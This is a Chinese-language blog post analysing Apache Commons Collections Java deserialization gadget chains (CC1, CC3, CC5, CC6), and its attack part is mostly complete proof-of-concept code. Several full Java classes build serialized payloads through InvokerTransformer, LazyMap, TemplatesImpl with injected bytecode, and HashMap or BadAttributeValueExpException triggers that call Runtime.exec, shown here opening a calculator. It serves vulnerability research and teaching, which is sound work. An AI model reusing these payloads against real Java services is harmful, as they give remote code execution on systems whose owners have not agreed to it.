• Apache Commons Collections反序列化链分析(二)


    Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象

    通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口

    官网:http://commons.apache.org/proper/commons-collections/
    Github:https://github.com/apache/commons-collections

    作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer

    CommonsCollections1

    环境:JDK1.7、commons-collections-3.1-3.2.1

    漏洞点存在于

    1. commons-collections-3.1-src.jar:
    2. /org/apache/commons/collections/functors/InvokerTransformer.java

    InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法

    接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec

    但是得想办法构造出反射调用,类似下面的方式:

    1. import java.io.IOException;
    2. public class ExecuteCMD {
    3. public static void main(String [] args) throws IOException{
    4. // 普通命令执行
    5. Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
    6. // 通过反射执行命令
    7. try{
    8. Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
    9. Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
    10. new String [] { "deepin-calculator" }
    11. );
    12. } catch(Exception e) {
    13. e.printStackTrace();
    14. }
    15. }
    16. }

    所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链

    commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法

    所以我们可以构造上文提到的反射调用链,将 ChainedTransformerTransformer 属性按照如下构造:

    1. Transformer[] transformers = new Transformer[] {
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    4. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    5. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
    6. };

    数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class

    在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类

    网上公开的主要有两条链: TransformedMapLazyMap 这两个利用链

    ysoserial中的cc1使用的是LazyMap类,调用链为:

    1. sun.reflect.annotation.AnnotationInvocationHandler.readObject()
    2. -> memberValues.entrySet()
    3. -> AnnotationInvocationHandler.invoke()
    4. -> memberValues.get() => LazyMap.get()
    5. -> factory.transform() => ChainedTransformer.transform()
    6. -> 反射构造Runtime.getRuntime().exec()

    使用 TransformedMap类的调用链为

    1. sun.reflect.annotation.AnnotationInvocationHandler.readObject()
    2. -> memberValue.setValue() => TransformedMap.setValue() => TransformedMap.checkSetValue()
    3. -> valueTransformer.transform() => ChainedTransformer.transform()
    4. -> 反射构造Runtime.getRuntime().exec()

    LazyMap

    LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。

    LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”:

    1. public class Test{
    2. public static void main(String[] args) throws Exception {
    3. Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {
    4. public Object transform(Object input) {
    5. return "leon";
    6. }
    7. });
    8. System.out.println(targetMap.get("hhhhhhhh"));
    9. }
    10. }

    继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法

    调用示意图:

    AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() => LazyMap.get()

    调用示意图:

    我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法

    所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链:

    1. AnnotationInvocationHandler.invoke()
    2. -> memberValues.get() => LazyMap.get()
    3. -> factory.transform() => ChainedTransformer.transform()
    4. -> 反射构造Runtime.getRuntime().exec()

    然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject()

    readObject方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链:

    1. public class CC1_LazyMap {
    2. public static Object generatePayload() throws Exception {
    3. Transformer[] transformers = new Transformer[] {
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    6. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    7. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
    8. };
    9. Transformer transformerChain = new ChainedTransformer(transformers);
    10. Map innermap = new HashMap();
    11. innermap.put("value", "leon");
    12. //factory.transform() => ChainedTransformer.transform()
    13. Map outmap = LazyMap.decorate(innermap,transformerChain);
    14. //通过反射获得AnnotationInvocationHandler类对象
    15. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    16. //通过反射获得cls的构造函数
    17. Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    18. //这里需要设置Accessible为true,否则序列化失败
    19. ctor.setAccessible(true);
    20. //通过newInstance()方法实例化对象
    21. InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
    22. Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
    23. Object instance = ctor.newInstance(Retention.class, mapProxy);
    24. return instance;
    25. }
    26. public static void main(String[] args) throws Exception {
    27. payload2File(generatePayload(),"obj");
    28. }
    29. public static void payload2File(Object instance, String file)
    30. throws Exception {
    31. //将构造好的payload序列化后写入文件中
    32. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
    33. out.writeObject(instance);
    34. out.flush();
    35. out.close();
    36. }
    37. }

    TransformedMap

    同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控:

    接下来我们需要寻找重载了readObject方法的类且该readObject方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链

    transformKey() transformValue() 在put公开方法中可以可控调用,但是寻找readObject方法中调用了的条件比较苛刻

    再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码:

    一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。

    我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用:

    但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数:

    在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值

    实际上,并不是将 this.type设置成任意注解类都能执行 POC,参考七月火师傅的结论:

    网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。

    最后poc如下:

    1. public class CC1_TransformedMap {
    2. public static Object generatePayload() throws Exception {
    3. Transformer[] transformers = new Transformer[] {
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    6. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    7. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
    8. };
    9. Transformer transformerChain = new ChainedTransformer(transformers);
    10. Map innermap = new HashMap();
    11. innermap.put("value", "leon");
    12. Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
    13. //通过反射获得AnnotationInvocationHandler类对象
    14. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    15. //通过反射获得cls的构造函数
    16. Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    17. //这里需要设置Accessible为true,否则序列化失败
    18. ctor.setAccessible(true);
    19. //通过newInstance()方法实例化对象
    20. Object instance = ctor.newInstance(Retention.class, outmap);
    21. return instance;
    22. }
    23. public static void main(String[] args) throws Exception {
    24. payload2File(generatePayload(),"obj");
    25. }
    26. public static void payload2File(Object instance, String file)
    27. throws Exception {
    28. //将构造好的payload序列化后写入文件中
    29. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
    30. out.writeObject(instance);
    31. out.flush();
    32. out.close();
    33. }
    34. }

    CommonsCollections3

    环境:JDK1.7、commons-collections-3.1-3.2.1

    CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析

    TemplatesImpl

    TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

    首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

    newTransformer() 方法调用了 getTransletInstance() 方法:

    其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用:

    可以看到其中调用了defineClass函数,这里简单介绍一下:

    1. public class StaticBlockTest {
    2. }
    3. public class Cracker {
    4. public static byte[] generate(){
    5. try {
    6. String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";
    7. ClassPool pool = ClassPool.getDefault();
    8. CtClass clazz = pool.get(StaticBlockTest.class.getName());
    9. clazz.setName("demo");
    10. clazz.makeClassInitializer().insertAfter(code);
    11. return clazz.toBytecode();
    12. // ...
    13. }
    14. public static void main(String[] args) {
    15. byte[] clazz = generate();
    16. DefiningClassLoader loader = new DefiningClassLoader();
    17. Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类
    18. try {
    19. cls.newInstance(); // 实例化该类时会自动调用静态块内的代码
    20. }
    21. // ...
    22. }
    23. }

    Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。

    理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码

    这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点

    于是我们有了defineTransletClasses还原出类,getTransletInstance进行实例化,那么只需要构造一个合适的_bytecodes即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes数组,其最终还原的对象父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

    TrAXFilter

    在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

    com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

    TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了

    InstantiateTransformer

    现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer

    Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

    到这关键方法都介绍了一遍,只需要串成一个完整的链:

    1. ObjectInputStream.readObject()
    2. AnnotationInvocationHandler.readObject()
    3. Proxy(LazyMap).extrySet()
    4. AnnotationInvocationHandler.invoke()
    5. LazyMap.get()
    6. ChainedTransformer.transform()
    7. ConstantTransformer.transform()
    8. InstantiateTransformer.transform()
    9. (TrAXFilter)Constructor.newInstance()
    10. TrAXFilter#TrAXFilter()
    11. TemplatesImpl.newTransformer()
    12. TemplatesImpl.getTransletInstance()
    13. TemplatesImpl.defineTransletClasses()
    14. (PayLoad)newInstance()
    15. Runtime.exec()

    前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get()

    这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform()

    然后循环调用transform,触发InstantiateTransformer.transform()

    接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链

    值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多

    我们已经知道了两种Java的任意代码执行的构造方式:

    1. 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用
    2. 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,对静态块注入恶意代码

    cc3的poc:

    1. public class TrAXFilter_Exploit {
    2. public static void main(String[] args) throws Exception{
    3. //1.先创建恶意类
    4. ClassPool pool = ClassPool.getDefault();
    5. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    6. CtClass tempExploitClass = pool.makeClass("evil");
    7. //一定要设置父类,为了后续顺利
    8. tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    9. //写入payload,生成字节数组
    10. String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
    11. tempExploitClass.makeClassInitializer().insertBefore(cmd);
    12. byte[] exploitBytes = tempExploitClass.toBytecode();
    13. //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
    14. TemplatesImpl tmpl = new TemplatesImpl();
    15. //设置_bytecodes属性为exploitBytes
    16. Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    17. bytecodes.setAccessible(true);
    18. bytecodes.set(tmpl, new byte[][]{exploitBytes});
    19. //一定要设置_name不为空
    20. Field _name = TemplatesImpl.class.getDeclaredField("_name");
    21. _name.setAccessible(true);
    22. _name.set(tmpl, "leon");
    23. //_class为空
    24. Field _class = TemplatesImpl.class.getDeclaredField("_class");
    25. _class.setAccessible(true);
    26. _class.set(tmpl, null);
    27. //3.构造chain,封装进LazyMap
    28. Transformer[] transformers = new Transformer[]{
    29. new ConstantTransformer(TrAXFilter.class),
    30. new InstantiateTransformer(
    31. new Class[]{Templates.class},
    32. new Object[]{tmpl}
    33. )
    34. };
    35. ChainedTransformer chain = new ChainedTransformer(transformers);
    36. HashMap innermap = new HashMap();
    37. LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);
    38. //4. 拿到cons,先做一个h1,h1.memberValues = lazymap
    39. final Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
    40. cons.setAccessible(true);
    41. InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);
    42. // 创建LazyMap的动态代理类实例
    43. Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);
    44. // 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValues
    45. InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);
    46. ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc3.ser")));
    47. fout.writeObject(h2);
    48. }
    49. }

    CommonsCollections5

    环境:JDK1.8、commons-collections-3.1-3.2.1

    JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类

    所以这个对象需要满足:

    • 类可序列化,类属性有个可控的Map对象或Object
    • 该类的类函数上有调用这个Map.get的地方

    TiedMapEntry

    TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数:

    1. public Object getValue() {
    2. return map.get(key);
    3. }
    4. public boolean equals(Object obj) {
    5. if (obj == this) {
    6. return true;
    7. }
    8. if (obj instanceof Map.Entry == false) {
    9. return false;
    10. }
    11. Map.Entry other = (Map.Entry) obj;
    12. Object value = getValue();
    13. return
    14. (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
    15. (value == null ? other.getValue() == null : value.equals(other.getValue()));
    16. }
    17. public int hashCode() {
    18. Object value = getValue();
    19. return (getKey() == null ? 0 : getKey().hashCode()) ^
    20. (value == null ? 0 : value.hashCode());
    21. }
    22. public String toString() {
    23. return getKey() + "=" + getValue();
    24. }

    接下来需要找到一个可以触发TiedMapEntry.toString的类

    BadAttributeValueExpException

    BadAttributeValueExpException类的readObject函数会自动调用类属性的toString函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private属性,需要反射构造

    InvokerTransformer

    这条链后半段就是cc1的TransformedMap,调用链如下:

    1. ObjectInputStream.readObject()
    2. BadAttributeValueExpException.readObject()
    3. TiedMapEntry.toString()
    4. LazyMap.get()
    5. ChainedTransformer.transform()
    6. ConstantTransformer.transform()
    7. InvokerTransformer.transform()
    8. Method.invoke()
    9. Class.getMethod()
    10. InvokerTransformer.transform()
    11. Method.invoke()
    12. Runtime.getRuntime()
    13. InvokerTransformer.transform()
    14. Method.invoke()
    15. Runtime.exec()

    前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下:

    1. public class BadAttributeValueExpException_Exploit {
    2. public static void main(String[] args) throws Exception{
    3. Transformer[] transformers_exec = new Transformer[]{
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    6. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
    8. };
    9. Transformer chain = new ChainedTransformer(transformers_exec);
    10. HashMap innerMap = new HashMap();
    11. Map lazyMap = LazyMap.decorate(innerMap,chain);
    12. TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
    13. BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
    14. Field val = BadAttributeValueExpException.class.getDeclaredField("val");
    15. val.setAccessible(true);
    16. val.set(payload,tmap);
    17. ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_InvokerTransformer.ser")));
    18. fout.writeObject(payload);
    19. }
    20. }

    InstantiateTransformer

    其实cc3将前半段改为BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> LazyMap.get调用,又可以组成一条新链,poc就不放了,利用链如下:

    1. ObjectInputStream.readObject()
    2. BadAttributeValueExpException.readObject()
    3. TiedMapEntry.toString()
    4. LazyMap.get()
    5. ChainedTransformer.transform()
    6. ConstantTransformer.transform()
    7. InstantiateTransformer.transform()
    8. (TrAXFilter)Constructor.newInstance()
    9. TrAXFilter#TrAXFilter()
    10. TemplatesImpl.newTransformer()
    11. TemplatesImpl.getTransletInstance()
    12. TemplatesImpl.defineTransletClasses()
    13. (PayLoad)newInstance()
    14. Runtime.exec()

    TemplatesImpl

    先给出利用链:

    1. ObjectInputStream.readObject()
    2. BadAttributeValueExpException.readObject()
    3. TiedMapEntry.toString()
    4. TiedMapEntry.getValue()
    5. LazyMap.get()
    6. InvokerTransformer.transform()
    7. Method.invoke()
    8. TemplatesImpl.newTransformer()
    9. TemplatesImpl.getTransletInstance()
    10. TemplatesImpl.defineTransletClasses()
    11. Class.newInstance()
    12. Runtime.exec()

    在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递

    在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。

    poc:

    1. public class TemplatesImpl_Exploit {
    2. public static void main(String[] args) throws Exception{
    3. //1.先创建恶意类
    4. ClassPool pool = ClassPool.getDefault();
    5. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    6. CtClass tempExploitClass = pool.makeClass("evil");
    7. //一定要设置父类,为了后续顺利
    8. tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    9. //写入payload,生成字节数组
    10. String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
    11. tempExploitClass.makeClassInitializer().insertBefore(cmd);
    12. byte[] exploitBytes = tempExploitClass.toBytecode();
    13. //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
    14. TemplatesImpl tmpl = new TemplatesImpl();
    15. //设置_bytecodes属性为exploitBytes
    16. Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    17. bytecodes.setAccessible(true);
    18. bytecodes.set(tmpl, new byte[][]{exploitBytes});
    19. //一定要设置_name不为空
    20. Field _name = TemplatesImpl.class.getDeclaredField("_name");
    21. _name.setAccessible(true);
    22. _name.set(tmpl, "leon");
    23. //_class为空
    24. Field _class = TemplatesImpl.class.getDeclaredField("_class");
    25. _class.setAccessible(true);
    26. _class.set(tmpl, null);
    27. //3.构造InvokerTransformer
    28. InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
    29. //InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以
    30. HashMap innermap = new HashMap();
    31. LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);
    32. TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);
    33. BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
    34. Field val = BadAttributeValueExpException.class.getDeclaredField("val");
    35. val.setAccessible(true);
    36. val.set(payload,tmap);
    37. ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_TemplatesImpl.ser")));
    38. fout.writeObject(payload);
    39. }
    40. }

    CommonsCollections6

    HashMap

    在 CC5 中介绍TiedMapEntry的时候之前看到了hashcode方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode

    后半段链不变,还是CC1的TransformedMap链后半部分

    在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法:

    但是构造完后发现,在LazyMap.get方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform

    我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)或者lazyMap.clear()都行

    利用链如下:

    1. ObjectInputStream.readObject()
    2. HashMap.readObject()
    3. HashMap.put()
    4. HashMap.hash()
    5. TiedMapEntry.hashCode()
    6. TiedMapEntry.getValue()
    7. LazyMap.get()
    8. ChainedTransformer.transform()
    9. ConstantTransformer.transform()
    10. InvokerTransformer.transform()
    11. Method.invoke()
    12. Class.getMethod()
    13. InvokerTransformer.transform()
    14. Method.invoke()
    15. Runtime.getRuntime()
    16. InvokerTransformer.transform()
    17. Method.invoke()
    18. Runtime.exec()

    poc:

    1. public class HashMap_Exploit {
    2. public static void main(String[] args) throws Exception{
    3. Transformer[] transformers_exec = new Transformer[]{
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    6. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
    8. };
    9. Transformer chain = new ChainedTransformer(transformers_exec);
    10. HashMap innerMap = new HashMap();
    11. Map lazyMap = LazyMap.decorate(innerMap,chain);
    12. TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
    13. HashMap hashMap = new HashMap();
    14. hashMap.put(tmap, "test");
    15. lazyMap.clear();
    16. ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_HashMap.ser")));
    17. fout.writeObject(hashMap);
    18. }
    19. }

    fackchain

    在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer属性改回到真正的chain

    1. public class fackchain_Exploit {
    2. public static void main(String[] args) throws Exception{
    3. Transformer[] transformers_exec = new Transformer[]{
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    6. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
    8. };
    9. Transformer[] fakeTransformer = new Transformer[]{};
    10. //fake chain
    11. Transformer chain = new ChainedTransformer(fakeTransformer);
    12. HashMap innerMap = new HashMap();
    13. //先构造假的chain
    14. Map lazyMap = LazyMap.decorate(innerMap,chain);
    15. TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
    16. HashMap hashMap = new HashMap();
    17. hashMap.put(tmap, "test");
    18. //用反射再改回真的chain
    19. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    20. f.setAccessible(true);
    21. f.set(chain, transformers_exec);
    22. //清空由于 hashMap.put 对 LazyMap 造成的影响
    23. lazyMap.clear();
    24. ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_fakechain.ser")));
    25. fout.writeObject(hashMap);
    26. }
    27. }

    HashSet

    HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put

    HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作

    这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上

    利用链如下:

    1. ObjectInputStream.readObject()
    2. HashSet.readObject()
    3. HashMap.put()
    4. HashMap.hash()
    5. TiedMapEntry.hashCode()
    6. TiedMapEntry.getValue()
    7. LazyMap.get()
    8. ChainedTransformer.transform()
    9. ConstantTransformer.transform
    10. InvokerTransformer.transform(
    11. Method.invoke()
    12. Class.getMethod()
    13. InvokerTransformer.transform(
    14. Method.invoke()
    15. Runtime.getRuntime()
    16. InvokerTransformer.transform(
    17. Method.invoke()
    18. Runtime.exec()

    当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链

    Reference

    GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

    深入理解 JAVA 反序列化漏洞

    https://xz.aliyun.com/t/8009

    https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/

    https://su18.org/post/ysoserial-su18-2/

  • 相关阅读:
    【数据分析】2020年北京交通大学计算机学院学术型博士录取数据分析
    Ganache本地测试网+cpolar内网穿透实现公网访问内网
    【云原生 | Kubernetes 系列】---CephFS和OSS
    Linux版车辆检测器在英创板上的测试步骤
    elasticSearch put全局更新和单个字段更新语法
    使用screw自动生成数据库文档
    钉钉、飞书、企业微信:迥异的商业门道
    电子器件系列38:mos管散热片
    梳理RWKV 4,5(Eagle),6(Finch)架构的区别以及个人理解和建议
    【软件架构文档之SOC篇】
  • 原文地址:https://blog.csdn.net/why811/article/details/132835499